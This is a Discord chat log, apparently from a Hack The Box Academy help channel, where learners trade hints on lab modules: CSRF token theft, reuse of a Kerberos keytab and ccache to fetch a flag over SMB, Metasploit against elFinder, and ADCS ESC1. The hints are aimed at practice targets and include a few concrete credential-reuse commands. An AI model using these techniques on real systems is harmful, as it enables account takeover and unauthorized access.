@fathom pendant can you tell me the whole attack snario of the section put side the question only tell me the what they want to convey by writing csrf in get based

fathom pendant
#

Ugh

#

It's literally the same attack, but with https/ssl instead of http

#

That's it

hollow ibex
#

so who you would get csrf token in real world ??? to replicate the same process that they write

fathom pendant
#

sighs

#

You would visit the website and log in to your account/a test account. Visit a self hosted page or something like that while intercepting the request to see if, in-fact there's no randomized tokens or any anti-csrf measures in place

#

If not then boom you launch a social engineering attack to get a logged in user to visit your malicious page and get their token

#

By viewing the types of requests at play, i.e. get, you can then craft malicious payloads that would then perform actions on behalf of the user, such as changing their password

#

Ssl only just acts to tell the browser it's using https

#

That's it

hollow ibex
#

@fathom pendant but in that case there is csrf token

fathom pendant
#

Then you can't do it, if it's a randomized token. But again that wasn't the question as originally posed

#

:p if any anti-csrf measures are in place then it makes it virtually impossible

#

Also there's a section

remediation advice which goes over prevention methods

hollow ibex
#

so see all the question above i am talking you who to get csrf token . so in which context they write the section get based csrf if we could not mount it in real life

fathom pendant
#

I don't think I quite understand your question

#

It's likely the module uses a cookie labeled csrf that isn't actually randomized

#

Just to reinforce the idea

#

Generally a session cookie might look like site_session={cookie}

hollow ibex
#

i learn through portswigger and ranakhlil video but the context they write on get based csrf are unable to understand like mixing things

fathom pendant
#

I think there's also a language barrier that's further creating a misunderstanding

#

But in general a malicious html will write any gathered session cookies it grabs to a file so it doesn't have to be intercepted

#

Or is logged in some way for the attacker to view it

storm elk
#

The modules will explain to you so that you understand how it works in an ideal for the hacker situation. Of course there are many factors involved but you will get basic understanding. SSL will make it harder to snoop in on traffic but not entirely impossible

fathom pendant
#

Since the data won't be encrypted when it arrives

#

So sniffing is not even a factor

#

Also none of the sections about it talk about sniffing, they talk about intercepting with burpsuite

storm elk
#

True

hollow ibex
#

so after all the things who would an attacker mount the attack if he not have csrf token of victim that they show .

storm elk
#

That was my language barrier 😅

fathom pendant
#

They get the victim to send them their token

#

Also it's *how not *who

#

That's what the example and setup is showing

#

The attacker in some way receiving the victim's session token

#

Usually it's via social engineering

#

I.e. an email

#

This is why most organizations at minimum don't show images from outside sources

hollow ibex
fathom pendant
#

Or at the very least use some form of screening to prevent it

#

Intercepting is not the same as sniffing

stable bone
#

ohhh wait... is HTB academy different than HTB?

fathom pendant
#

Sniffing is passively listening on the network

#

Yes

#

Academy is the learning site

stable bone
#

do you have to pay for HTB?

fathom pendant
#

Main site? No

stable bone
#

idk bro im legit brand new to everything i started the modules two days ago

fathom pendant
#

All active content is free

hollow ibex
#

@fathom pendant no so why they write at top Cross-Site Request Forgery (GET-based)
Similar to how we can extract session cookies from applications that do not utilize SSL encryption, we can do the same regarding CSRF tokens included in unencrypted requests.

stable bone
fathom pendant
#

Retired requires vip sub to access

fringe urchin
hollow ibex
#

and in middle ;>>>>> they write :Notice that the CSRF token's value above is the same as the CSRF token's value in the captured/"sniffed" request.dle

fathom pendant
stable bone
#

ok ok so help me out here... i started everything brand new two days ago and i want to join the army for cybersecurity... what would be the best starting point?

fathom pendant
#

As previous examples were also using http

fringe urchin
stable bone
fathom pendant
#

Lmao "Lil bro"

#

Anyway, academy and it's paths are good for learning I'd also look into DoD specs for cybersec and see the certs they have

#

Because DoD compliant certs are gonna be what you're going after anyway in the military

hollow ibex
#

@thanks for help but i thing you need to go through the module section

fathom pendant
#

I am

#

And I'm telling you

#

They are using http to remain consistent with previous sections, that's it

#

The same steps can apply even with https as long as there's no other protections in place

#

SSL just means there's a security cert via some Certificate Authority

#

It does not mean that it's completely safe

#

Which is a common misconception

#

They are using previously established examples that way you don't have to try and think of anything else

#

Otherwise: the technique is the same

#

Since nothing about the site had changed aside from adding ssl

hollow ibex
#

however in the get based csrf they used the same way in that they use in general csrf except copy pasting csrf token and mounting the attack

fathom pendant
#

We keep circling around the point

#

Point is: it works, the end

#

If you genuinely want to learn more do research on your own

dim wolf
fathom pendant
#

Instead of relying on others to partially explain it to you

fathom pendant
#

It's illegal for them to lie Kappa

dim wolf
#

they never do but if they're going into the army for cybersec might as well ask

fathom pendant
#

Yep

stable bone
fathom pendant
#

And understand asvab scoring

stable bone
fathom pendant
#

Doesn't mean you understand it

dim wolf
#

and what did he tell you

stable bone
#

yes yes it does he showed me my scores

#

im not a child mate

fathom pendant
#

Don't know since azure is a subscription

silver zenith
#

🙂

dim wolf
#

afaik no cloud content planned but there is an enterprise pro lab for azure ad

fathom pendant
#

Azure is a subscription based thing, so unsure how it would work in the academy environment

dim wolf
#

no cloud content then :(

fathom pendant
stable bone
dim wolf
#

you need an account on the main platform

fathom pendant
#

Only linked by sso once you sign up

wooden perch
#

Im stuck on this last question too.. have you succeeded? Spent +4h and giving up for some help. Ive ran kinit for LINUX01$ with the keytab found on /etc and exported the ccache under /var/lib but no luck. Any help is appreciated

fathom pendant
#

Using an enumeration tool discussed at the end of the section can help you find the ticket

fathom pendant
#

One in /var/lib... should work

#

Make sure its not expired

wooden perch
#

But to kinit with the one found on var lib doesn't work either

fathom pendant
#

Did you kinit with the username?

wooden perch
#

Yes, LINUX01$

fathom pendant
#

kinit 'linux01$@inlanefreight.htb'

#

Linux01$ is only the partial name

#

As noticed with the initial user vector the full username included the domain

#

david@inlanefreight.htb

wooden perch
#

Hmm interesting, will try this after a break..

fathom pendant
#

The key tab in etc will work for this

#

Note* this is how the official writeup did it, I exported the ccache file as my KRB5CCNAME and got it that way

#

Don't forget with smb stuff using keytab/kerberos auth you need the -k flag

wooden perch
#

Should I kinit before or after export?

fathom pendant
#

And -N ofc so it doesn't prompt a pw

#

You don't need to export with kinit

#

I didn't do kinit and got it with exporting just fine

wooden perch
#

With smb I was using -k -no-pass too

fathom pendant
#

I'm just going by what i see and what I did ¯_(ツ)_/¯

#

Like I said though the kinit likely failed bc you didn't use the full username

#

Just the partial

wooden perch
#

Maybe failed silently because I got no err msgs

fathom pendant
#

It'll do that

#

Sneaky bastard

haughty tree
#

I'm just curios as to what are the reasons for launching msfconsole as root

cloud urchin
#

First immediate thought is that some ports may be opened that require root

#

or some exploits too

wooden perch
# fathom pendant You don't need to export with kinit

copied /var/lib/sss/db/ ccache file to /root
export KRB5CCNAME=/root/ ccache file
klist, everything looks valid and correct principal LINUX01$
smbclient //dc01/linux01 -k -N -c “get /flag.txt /root/flag2.txt”

got err: gensec_spnego_client_negTokenInit_step: gse_krb5: creating NEG_TOKEN_INIT for cifs/dc01 failed (next[(null)]): NT_STATUS_NO_LOGON_SERVERS
session setup failed: NT_STATUS_NO_LOGON_SERVERS

haughty tree
fathom pendant
#

no logon servers

#

That's odd

next bronze
#

the us servers seems to be broken for this module, there was someone earlier who switched to eu2 and it worked

wooden perch
#

cool, I will try

fathom pendant
#

Weird

odd otter
#

Introduction to Web Applications->HTML Injection->'What text would be displayed on the page if we use the following payload as our input: <a href="http://www.hackthebox.com">Click Me</a>' And hint->'Use the full text displayed on the page as the answer "Your ..."'
so i am confused because as i understood this very old module with question. But site changed content. I remember on site something like that: "Your journey start here.' But i can't find right sentence can you give me answer because i am sure i won't pass that question.

wooden perch
next bronze
wooden perch
#

sure, their support team it's offline but a ticket has been opened

wintry basin
#

Hey, can you help me please. I also have the decoded output but I think my formatting is wrong. I tried putting the "serial=code", serial=code, code, etc. but nothings seems to be working.

fathom pendant
#

But the format would be -d "serial={decoded_output}" (without brackets

#

As you're sending a post request with data

wintry basin
#

I decoded the flag and then in the answer i'm typing serial=decoded_code

fathom pendant
#

Yes I'm just asking that you're replacing the decoded_code portion with your output that's all

#

:)

wintry basin
#

yes

fathom pendant
#

Ok

#

It might help to add ;echo after the curl request so you get a new line output

#

As the response tends to bleed into your line

#

So you may overlook it

stable bone
#

bro guys im so lost how do i get a local version of pwnbox or linux... isnt it literally the same thing as Ubuntu?

fathom pendant
#

Pwnbox is parrot

cloud urchin
#

isn't the pwnbox a bit customized though?

fathom pendant
#

Yes but it's based on parrot

stable bone
#

it keeps telling me to install Linux or pwnbox or wtv but i literally have Ubuntu through the Oracle virtual machine its not the same thing?

cloud urchin
stable bone
cloud urchin
#

Don't feel that way, everyone had to start somewhere. Everyone learned this from someone at one point.

open summit
#

how do i make a session?

fathom pendant
stable bone
wintry basin
open summit
fathom pendant
fathom pendant
open summit
#

so apaprently im mean to use this exploit but it wants a session

fathom pendant
wintry basin
fathom pendant
open summit
#

im so lost icl

stable bone
fathom pendant
open summit
dim wolf
#

what academy module*

open summit
#

framework got me tweakin n shi cuh

fathom pendant
#

Then it's as simple as curl -d "serial=<decoded_output>" http://ip:port/serial.php

wintry basin
#

Im just typing the middle part

fathom pendant
fathom pendant
open summit
dim wolf
#

get something to call back to your listener on msfconsole, then you should be able to use that post-exploitation module

fathom pendant
#

Yeah you're lost homie

#

As the questions refer to the target as running an old version of sudo

#

Sudo != windows

open summit
#

im on this bit

#

i got the target sepcficifc web application of elFinder and now im on q2.

#

cant seem to get a shell with the target thatsw what i been stuck on

fathom pendant
#

Yeah so search up exploits for elfinder

#

Don't know how that lead to windows

open summit
#

ik some guy yesterday told me to use it

#

i was confused cuz i nmapped and the shi was runnin on linux

fathom pendant
#

Bro trust your enumeration

#

Step back and go to square one with it

open summit
fathom pendant
#

You know the app so search that

#

Start there with finding your info and shell

honest gyro
#

Hello guys I’m doing (modern web explosion techniques —> second order command injection) I was able to get rce but I don’t know where is the flag path to cat it

fathom pendant
#

Well if you have rce try and find it

#

Either using rudimentary ls/dir

stable bone
#

i have a question... does HTB have employees to answer my dumb questions or is marcie just a goat?

fathom pendant
#

They don't pay me

stable bone
#

so youre just on here 24/7 helping ppl?

fathom pendant
#

Eh a majority of time

stable bone
#

its always mods i need help not how are the mods

open summit
stable bone
vague sage
#

what do i do here?i rdp like i shouldve
but wha

honest gyro
stable bone
#

marcie go on strike bro

open summit
vague sage
#

fr

stable bone
fathom pendant
#

Don't forget that -V is often most tools way of giving you the version

open summit
fathom pendant
#

Also the version doesn't matter for q2 there's only 2 relevant possible exploits if you search in msfconsole

open summit
#

this it? for q 2

#

it wants a target uri and i have no idea what that is

fathom pendant
#

Only relevant options are rhosts and lhost

#

Also spoilers

#

Also I will always abide by the "don't ask, just do" method

#

Don't ask until you've tried and it didn't work

open summit
#

i got a session with /var/ww/html/files but what does that mean now? like where am i

#

ah

#

had to do shell command

#

www-data q2 complete - was stuck on it since yesterday 8pm thank u marcie

stable bone
#

hey so every time i try to open the parrot file it says "which app you want to open it with" but its only ever some media player, what do i do?

open summit
#

screenshot it

stable bone
#

it wont let me it keeps disappearing when i ss

open summit
#

dont screenshot from the machine screenshot out the machien

#

windows+shit+s

stable bone
#

i cant even get into the machine...

stable bone
open summit
#

use windows shift s

#

so

stable bone
#

yes but it keeps going away when i try

open summit
#

add the parrot iso using vm

#

like dont try open the parrto file

stable bone
#

ohhh

stable bone
open summit
#

then select the iso file

stable bone
#

cant open machine

open summit
#

what machien u using

stable bone
#

oracle

open summit
#

right so u on this bit

stable bone
#

yes it looks just like that

open summit
#

so click add at top

#

and select iso file

stable bone
#

"Can't open machine"

wintry basin
open summit
limber river
#

how could someone read this ?

stable bone
wintry basin
fathom pendant
limber river
limber river
fathom pendant
#

Yeah

#

I think it's been a minute

#

If not it's intro to ad

#

That's the DACL yeah?

storm elk
fathom pendant
#

Sounds like file may be corrupted, try downloading again

storm elk
limber river
fathom pendant
#

I meant the format

#

I believe it's one of the acl related things

#

Ah it's SACL

quasi wave
#

I just completed vulnerability assessment module

#

ya

vague sage
#

i cant rdp dude

#

keeps giving me this error

stuck fable
#

i have issue with rdp too, conect for 1 minute and disconect for 2 min, that's prety anoying

fathom pendant
limber river
open summit
fathom pendant
#

Basically none

#

Only been doing acad a little over a year

cloud urchin
honest gyro
#

tried sudo and i tried changing the command and it didnt work either

sly nebula
#

Anyone on Supply Chain Attack's skill assessment?

vague sage
#

I'll try again tomorrow

cloud urchin
#

just follow my guide

#

it'll fix 99.9999999% of your connectivity issues

icy jungle
#

Hi I’m new to all this can anyone give me some help to improve my skills?

wanton idol
compact patrolBOT
dim wolf
#

@icy jungle

icy jungle
dim wolf
#

you can start with Academy or Starting Point

west canopy
simple loom
#

Hi guys! I just finished the Easy skill assessment for Attacking common services. I have a few doubts on some steps on the exploitation, can I DM anyone for guidance?

west canopy
#

ahh @fathom pendant beat me to it!

fathom pendant
#

So I just went with the first Google result

#

I have mixed opinions on Bard's summaries

#

I mostly have been ignoring them kek

cloud urchin
#

bard has been absolute ass in my experience

west canopy
#

ChatGPT power user here. Just it freezes , or runs like crap 50% of the time

#

but always verify

fathom pendant
#

Yup

#

"That didn't work"
"Oh I'm sorry"

cloud urchin
#

test in production, never verify, take all the credit when things go right, and blame someone else when something goes wrong. thank you for attending my how to climb the corporate ladder ted talk.

fathom pendant
#

Can only fail upwards

#

Keep you away from touching the important things

simple loom
#

Well, I had an issue with the smtp randomly not working (sometimes the user enumeration worked and sometimes it didn’t), but i guess thats connection issue. My main question is how can I know when the hydra bruteforcing is too agressive and I have to lower the threads

simple loom
# wanton idol which is?

Bc I got really stuck on it until I randomly discovered what happened. I wanna know if there is a way to see if the attack is being too agressive and therefore the correct password was skipped. Or it is just not yet tried

cloud urchin
#

verbosity, experience, google

#

those are 'how you would know'

wanton idol
#

verbosity can help to see whats sending but its mainly just trying out diff threads annd see what works

simple loom
# cloud urchin verbosity, experience, google

Yes but I mean, if I am running hydra on the default settings and obvs dont know the password. I think it is easier to think that the password is not contained on the list rather than go down to 1 thread

#

Anyways ty for the replies guys ✨🙌🏼

cloud urchin
#

that's where your experience kicks in

#

now you know

simple loom
fierce mason
#

for the last user to access on the ad attacks skills assessment part ii, ive tried using the tool needed for the first question as the hint for the user indicated that that tool may be needed, but i don't seem to be getting anything out of using that tool, is this a rabbit hole

fluid quartz
#

anyone able to help with windows evasion module aes crypter right at the start?

simple loom
calm talon
#

Hello everyone, I am new here and to HTB and was wondering if anyone else was having an issue authentication for OpenSSH in the Linux Fundamental: page 17, Service and Process Management? This is the command I am using to start the SSH: systemctl start ssh
am I doing something wrong? When I run that command this is what I am getting:

Authentication is required to start 'ssh.service'.
Multiple identities can be used for authentication:

  1. Debian (debian)
  2. ,,, (htb-ac-610980)
    Choose identity to authenticate as (1-2):

Then it asks me for a passwd. Not sure what passwd it is asking for. Any help would be greatly appreciated.

fathom pendant
#

Well you don't need to start the ssh service on the pwnbox

#

It's already running as you can ssh into it from another system

fathom pendant
#

Also your credentials are stored on the desktop as "credentials"

calm talon
fathom pendant
#

Sometimes the examples are just that; examples

#

Usually the main thing they want you to do is look at the conf file, but I don't recommend messing with the ssh conf file on the pwnbox

#

As the pwnbox has an exposed interface to the internet

calm talon
fathom pendant
#

A lot of stuff is often purely informative

calm talon
fathom pendant
#

Note taking will be highly beneficial

calm talon
#

Is there a preferred method for taking notes besides the "old school" paper and pencil?

dim wolf
#

anything that suits you

#

a lot of us use obsidian as our note-taking tool

fathom pendant
#

Obsidian is a great tool and facilitates copy/paste

calm talon
#

Obsidian....I like the sound of that I will find it and give it a try. Does it work with phone's as well or just computers?

silk marsh
#

hello

dim wolf
#

there is a mobile app, but if you want your notes to sync between your phone and pc, i think you need to pay

fathom pendant
#

There's no syncing (for free users)

silk marsh
#

for some reason i can't write in #general. i just joined

fathom pendant
#

You can get around it by setting up your vault as a cloud location like Google drive

silk marsh
#

oh okay. thanks

calm talon
strong bough
#

🤫

tight hedge
#

Hi there, im working on the PK1 - ESC1 and ima little stuck in the part when I need to request a kerberos TGT on Rubeus

#

The client mismatch comes from the certificate provided or the user who requested?

cloud urchin
#

what module?

tight hedge
#

Windows Attacks & Defense/PK1-ESC1

cloud urchin
#

i haven't done that module so someone else can probably chime in and give you a better answer, but generally i think that error will happen due to incorrect SPN provided in the TGS request, the username is wrong or doesn't exist, or wrong domain

#

it looks like you're trying to auth via a local admin account, which is probably why

#

local accounts are managed by SAM on individual computers not the DC

#

oh looking again maybe it's not a local account. still probably one of those things i mentioned.

wanton idol
cloud urchin
#

if it's the domain admin yeah, but not the local admin

wanton idol
#

yup pretty sure u can see which acc has a tgt via rubeus and mimikatz

#

if u have local admin rights

tight hedge
#

Well, in the exercise we find the certificate template through "Certify", then request the certificate of the Administrator on Certify again

#

Then I end up with Certificate and Private key.
the certificate is a PEM and I converted to PFX, that certificate is the one provided to Rubeus to request the TGT

viral slate
#

[NTLM RELAY ATTACKS - SKILLS ASSESSMENT]
Hey guys!
Currently working on skill assessment here and got stuck on second question.
Can I have a nudge?

viral slate
next bronze
#

sure